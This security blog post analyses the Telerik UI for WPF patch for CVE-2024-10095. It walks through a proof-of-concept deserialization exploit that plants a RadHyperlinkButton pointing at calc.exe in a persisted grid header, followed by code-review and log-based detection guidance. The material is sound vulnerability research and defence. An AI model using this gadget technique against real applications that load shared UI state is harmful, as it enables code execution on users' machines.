CVE-2024-10095 | Unsafe Deserialization Enables RCE in Telerik UI

Introduction

In Telerik’s 2024 Q4 release, one particular change caught my attention—a fix for CVE-2024-10095 , an insecure deserialization vulnerability in Telerik UI for WPF. This presented a great opportunity to analyze the patch, understand the underlying issue, and ultimately develop an exploit to achieve remote code execution (RCE).
In this blog post, I’ll walk through the entire process, from dissecting the patch to crafting a working exploit. We’ll explore what changed in the patched version, how the vulnerability can be abused, how it can be detected through both source code analysis and application logs, and the broader security implications of insecure deserialization.


Patch Analysis

According to the Telerik release notes, the vulnerability resides in the PersistenceFramework, a feature designed to streamline UI state management. As stated in the Telerik documentation:

“PersistenceFramework allows you to easily save and restore your UI. The framework persists the properties of any WPF control in a memory stream or directly into a file, so that you can retrieve their values later.”

This functionality makes it clear why the framework is widely used—it enables seamless UI state persistence across application sessions. However, improper handling of serialized data can introduce serious security risks, such as insecure deserialization, which can be exploited to execute arbitrary code. To analyze the patch, I installed both the vulnerable and patched versions of Telerik UI for WPF. Based on the release note, I specifically decompiled the Telerik.Windows.PersistenceFramework.dll to examine its changes.

Looking at the patch, a few key changes stand out:

  • New Exception Class: UnauthorizedDeserializationException A new exception class has been introduced, likely to catch and prevent unauthorized deserialization attempts, reinforcing security controls.
  • PersistenceManager Now Implements IAllowedTypesSupport: This means type restrictions have been added—only specific, predefined types can now be deserialized, reducing the risk of arbitrary code execution.
  • IsolatedStorageProvider Constructor Marked Unsafe: The constructor has been marked [Obsolete], with a warning:

“This constructor is not safe. Use the constructor accepting a PersistenceManager object.”

This suggests that the old constructor allowed unsafe deserialization, which has now been restricted.

  • Stricter Type Checking in LoadProperties: Perhaps the most critical change in the patch lies in the LoadProperties method.
    • Before the patch: TryCreateObject was called with just the target type, meaning it could instantiate any type provided in the serialized data.
    • After the patch: The method now requires an explicit AllowedTypes list to be passed, restricting deserialization to a predefined set of safe types.

Now, before jumping into exploitation, the key question is: where is LoadProperties actually used, and how does this whole process work? Understanding how deserialization happens in the PersistenceFramework will give us a clearer picture of the vulnerability—and how it was fixed. Let’s break it down step by step.


Understanding Serialization in the PersistenceFramework

Now that we understand PersistenceFramework’s role in saving and restoring UI states, let’s take a closer look at how it works.
As previously mentioned, Telerik’s PersistenceFramework enables WPF applications to persist UI control properties through serialization, converting UI properties into a structured format that can be stored in streams or IsolatedStorage. When the application reloads, the framework reads this stored data and deserializes it, restoring the UI to its previous state.
By default, the PersistenceManager handles primitive types, UIElement, and IEnumerable, but for complex controls like RadGridView, which includes filtering, sorting, and grouping descriptors, a different approach is needed. In such cases, developers must define a Custom Property Provider to control how these properties are saved and restored, ensuring the UI state is reconstructed correctly.
Now, a key part in the code we observed above is an if-statement that checks whether a value of type ICustomPropertyProvider is not null. If this condition is met, the execution flows into TryCreateObject, which is where object instantiation occurs. This makes it a great starting point for understanding how deserialization works in PersistenceFramework.
To dig deeper, I looked into Telerik’s documentation and found that PersistenceFramework supports multiple property providers, including CustomPropertyProvider:

“The PersistenceFramework provides an ICustomPropertyProvider interface which you should implement in order to create a custom property provider.”

This confirms that CustomPropertyProvider is a key component in how properties are persisted and restored within the PersistenceFramework. To further explore its implementation, I created a GridPersistence project within my Hack.NET repository. While this project is inspired by Telerik’s SDK samples, it replicates key functionality of CustomPropertyProvider, allowing for in-depth analysis of UI state persistence and its security implications.

Looking into the GridCustomPropertyProvider.cs file, we can see the method GetCustomProperties returns a list of properties that need to be persisted, defining custom proxy objects for them:

public class GridCustomPropertyProvider : ICustomPropertyProvider
{
    public CustomPropertyInfo[] GetCustomProperties()
    {
        return new CustomPropertyInfo[]
        {
            new CustomPropertyInfo("Columns", typeof(List<ColumnProxy>)),
            new CustomPropertyInfo("SortDescriptors", typeof(List<SortDescriptorProxy>)),
            new CustomPropertyInfo("GroupDescriptors", typeof(List<GroupDescriptorProxy>)),
            new CustomPropertyInfo("FilterDescriptors", typeof(List<FilterSetting>)),
        };
    }
...
}

This means that Columns, Sorting, Grouping, and Filtering descriptors are stored using proxy objects. These objects act as intermediaries for persisting and restoring grid properties. The actual structure of these stored properties is defined in Proxies.cs, where each persisted object has its own class. For example:

public class ColumnProxy
{
    public string UniqueName { get; set; }
    public int DisplayOrder { get; set; }
    public string Header { get; set; }
    public GridViewLength Width { get; set; }
}

Similarly, other proxy classes like SortDescriptorProxy and GroupDescriptorProxy store sorting and grouping configurations:

public class SortDescriptorProxy
{
    public string ColumnUniqueName { get; set; }
    public ListSortDirection SortDirection { get; set; }
}
public class GroupDescriptorProxy
{
    public string ColumnUniqueName { get; set; }
    public ListSortDirection? SortDirection { get; set; }
}

But how does this process actually work? It comes down to two key methods in the CustomPropertyProvider:

  • ProvideValue → Handles serialization, determining how data is stored.
  • RestoreValue → Handles deserialization, reconstructing the original objects from stored data.

By now, we have a solid understanding of how persistence and deserialization work in the PersistenceFramework. With this foundation in place, it’s time to explore the most exciting part—turning this into a working exploit.


Exploitation Process

To craft an exploit, we need to find a way to manipulate deserialization to execute unintended actions. This is where gadget chains come into play. By carefully selecting and chaining deserializable objects, we can weaponize insecure deserialization for code execution.

To start, I searched through the decompiled Telerik Controls DLL, specifically looking for references to Process.Start. This led me to a particularly interesting discovery inside Telerik’s RadButtons; the RadHyperlinkButton contains the following method:

private void OnHyperlinkRequestNavigate(object sender, RequestNavigateEventArgs e)
{
    try
    {
        Process.Start(new ProcessStartInfo
        {
            FileName = e.Uri.AbsoluteUri,
            UseShellExecute = true
        });
        IsVisited = true;
        e.Handled = true;
    }
    catch (Win32Exception)
    {
    }
}

Even without analyzing the full class, we can already see what’s happening. When this control is used within an application, it acts as a hyperlink, opening the browser to the specified e.Uri.AbsoluteUri. But here’s where it gets interesting—this isn’t limited to just web URLs. The URI parameter can be manipulated to reference a system-level resource, which opens the door for potential exploitation.
Now, what’s the plan for exploitation? If a RadHyperlinkButton can be planted somewhere inside the Grid, we should be able to trigger code execution when the application deserializes it and of course, the user interacts with it. But where exactly can it be placed? Since deserialization must occur within Custom Properties, we need to find a suitable spot.
Looking at the existing structures, ColumnProxy already handles serialization of the Header property. This raises an interesting possibility—what if the application deserializes the header as a RadHyperlinkButton? If it does, and the button retains its event-handling behavior, we could use this to execute arbitrary commands when the deserialized object is accessed. With that in mind, let’s move forward and test the idea.
To successfully exploit this vulnerability, we need to ensure that the serialized data is stored in IsolatedStorage rather than a MemoryStream. Since MemoryStream keeps data only in volatile memory during runtime, it is less accessible and is lost once the application closes. In contrast, IsolatedStorage provides persistent storage, allowing the data to remain available across sessions.
With that in mind, the next step is modifying ColumnProxy to store a RadHyperlinkButton as its Header property. This ensures that when the application deserializes the persisted grid state, it will automatically recreate our malicious RadHyperlinkButton. Also we must modify the serialization logic in ProvideValue to explicitly assign a RadHyperlinkButton to the Header:

public object ProvideValue(CustomPropertyInfo customPropertyInfo, object context)
{
    RadGridView gridView = context as RadGridView;
    switch (customPropertyInfo.Name)
    {
        case "Columns":
        {
            List<ColumnProxy> columnProxies = new List<ColumnProxy>();
            foreach (GridViewColumn column in gridView.Columns)
            {
                columnProxies.Add(new ColumnProxy()
                {
                    UniqueName = column.UniqueName,
                    Header = column.Header as RadHyperlinkButton,
                    DisplayOrder = column.DisplayIndex,
                    Width = column.Width,
                });
            }
            return columnProxies;
        }
  ...
  }
...
}

Now, we add the RadHyperlinkButton inside the RadGridView column header in XAML. This sets the column header to a hyperlink that triggers the execution of calc.exe:

<telerik:RadGridView x:Name="gridView"
                      Grid.Column="1"
                      ItemsSource="{Binding}"
                      AutoGenerateColumns="False"
                      telerik:PersistenceManager.StorageId="gridPersistence">
    <telerik:RadGridView.Columns>
        <telerik:GridViewDataColumn DataMemberBinding="{Binding StudentID}" Header="Student ID"/>
        <telerik:GridViewDataColumn DataMemberBinding="{Binding FirstName}">
        <telerik:GridViewDataColumn.Header>
            <telerik:RadHyperlinkButton Content="First Name" NavigateUri="file:///C:/Windows/System32/calc.exe" TargetName="_blank" />
        </telerik:GridViewDataColumn.Header>
        </telerik:GridViewDataColumn>
        <telerik:GridViewDataColumn DataMemberBinding="{Binding LastName}" Header="Last Name"/>
        <telerik:GridViewDataColumn DataMemberBinding="{Binding Country}" Header="Country"/>
        <telerik:GridViewDataColumn DataMemberBinding="{Binding City}" Header="City"/>
        <telerik:GridViewDataColumn DataMemberBinding="{Binding GPA}" Header="GPA"/>
        <telerik:GridViewDataColumn DataMemberBinding="{Binding IsEnrolled}" Header="Enrolled"/>
    </telerik:RadGridView.Columns>
</telerik:RadGridView>

As seen in the image below, the First Name column header has successfully changed to a HyperlinkButton:

Next, we save the state into IsolatedStorage, revert the header type back to a string, restart the application, and load the saved state. However, something unexpected happens—the hyperlink is gone, and instead of “First Name”, the header now displays “FirstName”, along with the other affected headers.

So, what caused this? As a matter of fact, this behavior was intentionally included to highlight an important point. Since the header is now expected to be a string, the framework cannot deserialize an object (like a RadHyperlinkButton) into it. Instead, it falls back to its default behavior, displaying the original property name, which in this case is “FirstName”.

Key Takeaway for Developers

Type safety is critical

As shown here, if the header had been of a more generic type like object, the application would have accepted the deserialized value, and the exploitation would have worked. But since it strictly expected a string, it rejected the incompatible type, effectively preventing the attack.

This highlights an essential principle—using precise data types helps enforce correct behavior, reduce unintended interactions, and strengthen security.

Now that we’ve seen how the header’s string type blocked our attack, let’s test what happens if the header was defined as an object instead of a string. If the application successfully deserializes it, we should be able to trigger execution. By modifying ProvideValue and updating ColumnProxy, we enable the deserialization of RadHyperlinkButton. After making these changes, we run the application and load the saved state. This time, the header is restored as a clickable hyperlink. And when the user clicks on it… TA-DA! The calculator pops up! :tada:


Real-World Scenario

While we successfully exploited CVE-2024-10095, the scenario we demonstrated is not the most practical attack vector in isolation. If an attacker already has direct access to modify the victim’s serialized UI state, they likely control the machine already, making the attack redundant in most cases. However, the real danger emerges when we look at applications that share UI states across users or systems.
Many modern collaborative applications rely on mechanisms that persist and sync UI changes across multiple users and sessions. If an attacker can manipulate the source of that shared UI state—whether it’s stored on a server, cloud storage, or a shared network location—then this vulnerability becomes a serious security risk. Take, for example, a UI/UX design tool similar to Figma or Adobe XD, where multiple users can edit project layouts, update components, and sync changes. Suppose the developers used PersistenceFramework with CustomPropertyProvider to store and reload UI modifications across devices. If a designer modifies a grid layout, adding new UI components, the updated state is saved—either in a shared network folder or a cloud server. Later, when another designer reopens the project, the application automatically fetches the latest UI state and deserializes it into the live interface.
Here’s where the vulnerability kicks in—if an attacker modifies the stored UI state, injecting a malicious RadHyperlinkButton instead of a simple object, the next time a user loads the project, the application restores the injected control. The deserialization process unknowingly recreates the embedded hyperlink with an execution payload, and the moment the user interacts with it—BOOM, code execution happens. This scenario proves how seemingly harmless UI persistence mechanisms can turn into high-risk attack surfaces when deserialization is left unchecked. The real security concern isn’t just that deserialization occurs, but that any system restoring complex objects without strict validation risks executing untrusted code—whether from local storage, a shared state, or an external source.


Detection

Identifying and detecting CVE-2024-10095 requires more than just checking for a vulnerable version of Telerik UI for WPF. Not every application using an affected version is necessarily exploitable. The real concern is whether the persistence mechanism deserializes untrusted data without proper validation.
Detection can be approached in two ways: reviewing the source code and analyzing application logs. By combining these methods, both security researchers and developers can assess risk and create effective detection rules.

Source Code

Detecting CVE-2024-10095 in source code requires a thorough review of how CustomPropertyProvider is implemented within the application. Ensuring its presence and understanding its role in UI state persistence is the foundational step in determining exploitability. Below are the primary areas developers and security researchers should focus on:

  • Usage of CustomPropertyProvider:
    • Look for implementations of CustomPropertyProvider within the codebase.
    • Applications relying on advanced UI state persistence will likely use this feature, but its misuse can introduce deserialization risks.
  • Typing of Custom Properties:
    • Review proxy classes that define the structure of persisted UI elements.
    • The exploit relies on weak or overly generic type definitions in these classes. A risky approach is using object or other loose types for persisted properties and the safer approach is using strict, explicitly defined types to prevent deserializing unexpected objects.
    • Ensure that serialized/deserialized objects are explicitly verified against expected types before processing.
  • Configuration & Storage Security
    • Evaluate how persisted UI states are stored and accessed:
      • Is the serialized data stored in an unprotected or modifiable location?
      • Can external sources (network shares, cloud storage, user-controlled files) modify the stored state?
      • Does the application automatically fetch and deserialize persisted UI states without validation?
    • If user-controlled modifications are possible, treat it as a critical security risk and implement access control measures.
Important Notes
  • Upgrading to a patched version of Telerik UI significantly reduces exploitability, but patches alone do not eliminate all risk.
  • Future bypasses may emerge using different gadget chains, so always apply a defense-in-depth approach rather than relying solely on vendor fixes.

Application Logs

Detecting CVE-2024-10095 through application logs requires identifying distinct artifacts that appear when deserialization is attempted—whether it fails due to a security check or succeeds, leading to unintended behavior or exploitation. Below are key logging patterns that can help identify both failed and successful exploitation attempts.

  • Deserialization Failures & Security Warnings
    • If the patched version of Telerik UI is installed, it introduces strict type validation and logs errors when an unauthorized object is deserialized:
      UnauthorizedDeserializationException: Attempted deserialization of unauthorized type 'Namespace.TypeName'.
      
    • Logs may also show unexpected type-casting failures when the application attempts to restore an incompatible object:
      System.InvalidCastException: Unable to cast object of type 'RadHyperlinkButton' to type 'System.String'.
      
    • If the application is still using the deprecated IsolatedStorageProvider constructor, the following warning will appear in logs:
      'IsolatedStorageProvider.IsolatedStorageProvider()' is obsolete: 'This constructor is not safe. Use the constructor accepting a PersistenceManager object.'
      
  • Loading Persisted UI States
    • Applications using IsolatedStorage to retrieve persisted UI states may log retrieval events:
      Extracted embedded document 'Telerik.Windows.Persistence.Storage\IsolatedStorageProvider.cs' to 'C:\Users\Administrator\AppData\Local\Temp\2\.vsdbgsrc\e383e441bdc63f6f3daa5cf09509e3583db315ff70fe04c9217b9c28bcb76246\IsolatedStorageProvider.cs'
      
    • If UI states are fetched from a shared folder, network location, or cloud storage, logs should be reviewed for unexpected retrieval attempts, as an attacker could have manipulated these stored states.
  • Behavioral Indicators in UI Logs
    • Monitor logs for unexpected UI property changes upon loading a persisted state.
    • If a malicious object is deserialized, logs might indicate the presence of an unexpected control instantiation.
    • Look for UI state inconsistencies, such as:
      • Properties reverting to defaults (if a deserialization attempt fails and falls back).
      • Missing or corrupted UI components after restoring state.
      • Unexpected UI transformations, such as a text-based property changing into an interactive control (e.g., a simple “First Name” text turning into a clickable hyperlink).
  • Execution Artifacts (If Exploited)
    • If an exploit successfully triggers execution, system logs may show unexpected child processes spawned by the application:
      Process Start: calc.exe  
      Process Start: cmd.exe /c <malicious command>
      
    • In a real-world attack scenario, rather than launching calc.exe, the attacker would likely use this technique to initiate a reverse shell, execute a malicious payload, or establish persistent access on the system.
    • Applications that log navigation events might record an entry when RadHyperlinkButton triggers RequestNavigateEventArgs, which can serve as an exploitation signature.
  • Potential Alternative Vectors
    • Beyond headers in ColumnProxy, other serializable UI elements (such as sorting or filter descriptors) could also be abused.
    • Logs related to filter descriptors accepting object types should be reviewed to ensure they do not allow unvalidated deserialization.

Conclusion

This exploitation of CVE-2024-10095 demonstrated how deserializing untrusted data without proper validation can escalate into a critical security flaw. By patch diffing, we saw how a simple type check can drastically reduce unintended system interactions—a small change with a huge security impact. Another key takeaway: Just because a library is well-maintained or widely used doesn’t mean it’s immune to security risks. Understanding how patches address vulnerabilities is just as important as finding them.
To document the full security cycle of this patch—from discovery to exploitation and mitigation—the project can be found in Hack.NET, my dedicated repo for deep-diving into vulnerabilities. There, I analyze security flaws, break them down, exploit them, and develop patches.
Hope this was useful. See you in the next one.